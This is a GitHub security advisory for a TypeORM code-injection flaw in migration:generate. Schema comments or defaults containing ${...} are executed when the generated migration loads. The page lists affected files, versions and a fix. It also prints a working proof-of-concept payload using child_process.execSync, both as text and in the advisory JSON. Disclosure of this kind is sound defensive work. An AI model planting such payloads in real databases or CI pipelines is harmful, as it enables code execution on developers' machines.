GHSA-2RP8-MM9Q-FP49
Vulnerability from github – Published: 2026-07-21 21:59 – Updated: 2026-07-21 21:59Summary
typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.
Details
MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:
" await queryRunner.query(`" +
upQuery.query.replaceAll("`", "\\`") +
"`" + ...
Introspected schema strings reach this sink through driver query runners:
| Driver | Metadata source | Source |
|---|---|---|
| Postgres | column DEFAULT, COMMENT, CHECK constraints, view definitions |
PostgresQueryRunner.ts:1782, L1898, L2287, L4125 |
| MySQL/MariaDB | COLUMN_DEFAULT, COLUMN_COMMENT |
MysqlQueryRunner.ts:2873-2974, L3580-3583 |
| CockroachDB | Same patterns as Postgres | CockroachQueryRunner.ts |
escapeComment() on each driver strips only null bytes, leaving ${...} intact:
protected escapeComment(comment?: string) {
if (!comment) return comment
comment = comment.replaceAll("\u0000", "")
return comment
}
When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.
Affected source:
| File | Lines | Role |
|---|---|---|
MigrationGenerateCommand.ts |
117-138 | Template-literal construction (sink) |
PostgresDriver.ts |
1886-1891 | escapeComment() — Postgres |
MysqlDriver.ts |
1322-1328 | escapeComment() — MySQL |
CockroachDriver.ts |
1236-1241 | escapeComment() — CockroachDB |
Confirmed injection vectors (MySQL):
| Vector | Result | Notes |
|---|---|---|
Column COMMENT |
Confirmed | Proven in PoC below |
Column DEFAULT |
Confirmed | Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration |
CHECK constraint |
Not exploitable | MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE |
| View definitions | Not tested | Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef() |
Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.
PoC
Prerequisites:
- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
- The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text
Steps:
- Inject payload into schema metadata. Set a column comment or default containing
${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
- Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
- Inspect the generated file. The output
.tsfile contains unescaped${...}:
export class NextMigration1234567890 implements MigrationInterface {
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(
`COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
);
}
// ...
}
- Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts
Output confirms code execution — id ran on the host and its output was interpolated into the SQL:
ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'
The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.
Impact
Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.
CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "typeorm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "typeorm"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:59:23Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.\n\n### Details\n\n`MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:\n\n```typescript\n\" await queryRunner.query(`\" +\n upQuery.query.replaceAll(\"`\", \"\\\\`\") +\n \"`\" + ...\n```\n\nIntrospected schema strings reach this sink through driver query runners:\n\n| Driver | Metadata source | Source |\n|---|---|---|\n| Postgres | column `DEFAULT`, `COMMENT`, `CHECK` constraints, view definitions | [`PostgresQueryRunner.ts:1782`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1782), [`L1898`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1898), [`L2287`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L2287), [`L4125`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L4125) |\n| MySQL/MariaDB | `COLUMN_DEFAULT`, `COLUMN_COMMENT` | [`MysqlQueryRunner.ts:2873-2974`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L2873-L2974), [`L3580-3583`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L3580-L3583) |\n| CockroachDB | Same patterns as Postgres | [`CockroachQueryRunner.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachQueryRunner.ts) |\n\n`escapeComment()` on each driver strips only null bytes, leaving `${...}` intact:\n\n```typescript\nprotected escapeComment(comment?: string) {\n if (!comment) return comment\n comment = comment.replaceAll(\"\\u0000\", \"\")\n return comment\n}\n```\n\nWhen the migration file is loaded (`migration:run`, `import`, or `require`), the JS engine evaluates `${...}` as live interpolation.\n\n**Affected source:**\n\n| File | Lines | Role |\n|---|---|---|\n| [`MigrationGenerateCommand.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/commands/MigrationGenerateCommand.ts#L117-L138) | 117-138 | Template-literal construction (sink) |\n| [`PostgresDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresDriver.ts#L1886-L1891) | 1886-1891 | `escapeComment()` \u2014 Postgres |\n| [`MysqlDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlDriver.ts#L1322-L1328) | 1322-1328 | `escapeComment()` \u2014 MySQL |\n| [`CockroachDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachDriver.ts#L1236-L1241) | 1236-1241 | `escapeComment()` \u2014 CockroachDB |\n\n**Confirmed injection vectors (MySQL):**\n\n| Vector | Result | Notes |\n|---|---|---|\n| Column `COMMENT` | Confirmed | Proven in PoC below |\n| Column `DEFAULT` | Confirmed | Attacker sets `ALTER TABLE ... DEFAULT \u0027${...}\u0027`; payload appears in generated migration |\n| `CHECK` constraint | Not exploitable | MySQL `information_schema.CHECK_CONSTRAINTS` strips content from `CHECK_CLAUSE` |\n| View definitions | Not tested | Requires PostgreSQL `ViewEntity` introspection; likely exploitable via `pg_get_viewdef()` |\n\n**Suggested fix:** Escape `${` to `\\${` (and `\\\\` to `\\\\\\\\`) before embedding query strings into template literals, or switch to emitting the SQL as a `JSON.stringify()`-encoded regular string argument.\n\n### PoC\n\n**Prerequisites:**\n- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running `migration:generate`\n- The attacker has DDL/write access to the database, **or** the application exposes a feature allowing users to set column `COMMENT`, `DEFAULT`, or view definition text\n\n**Steps:**\n\n1. **Inject payload into schema metadata.** Set a column comment or default containing `${...}`:\n\n```sql\n-- PostgreSQL\nCOMMENT ON COLUMN users.name IS \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027;\n\n-- MySQL\nALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027;\n```\n\n2. **Run migration generation** on the developer/CI machine:\n\n```bash\nnpx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration\n```\n\n3. **Inspect the generated file.** The output `.ts` file contains unescaped `${...}`:\n\n```typescript\nexport class NextMigration1234567890 implements MigrationInterface {\n public async up(queryRunner: QueryRunner): Promise\u003cvoid\u003e {\n await queryRunner.query(\n `COMMENT ON COLUMN \"users\".\"name\" IS \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027`,\n );\n }\n // ...\n}\n```\n\n4. **Run or revert the migration:**\n\n```bash\nnpx typeorm migration:revert -d ./data-source.ts\n```\n\nOutput confirms code execution \u2014 `id` ran on the host and its output was interpolated into the SQL:\n\n```\nALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT \u0027uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...\u0027\n```\n\nThe payload appears in whichever migration direction restores the DB\u0027s current state. A malicious DB comment with a clean entity comment places it in `down()`. Attacker-influenced entity metadata places it in `up()`. Either direction executes the code when the method runs.\n\n### Impact\n\n**Code injection / RCE.** An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.\n\nCI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running `migration:generate` against a database with attacker-influenced schema metadata is affected.",
"id": "GHSA-2rp8-mm9q-fp49",
"modified": "2026-07-21T21:59:23Z",
"published": "2026-07-21T21:59:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49"
},
{
"type": "WEB",
"url": "https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519"
},
{
"type": "WEB",
"url": "https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe"
},
{
"type": "PACKAGE",
"url": "https://github.com/typeorm/typeorm"
},
{
"type": "WEB",
"url": "https://github.com/typeorm/typeorm/releases/tag/0.3.31"
},
{
"type": "WEB",
"url": "https://github.com/typeorm/typeorm/releases/tag/1.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": " TypeORM: migration:generate template-literal code injection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.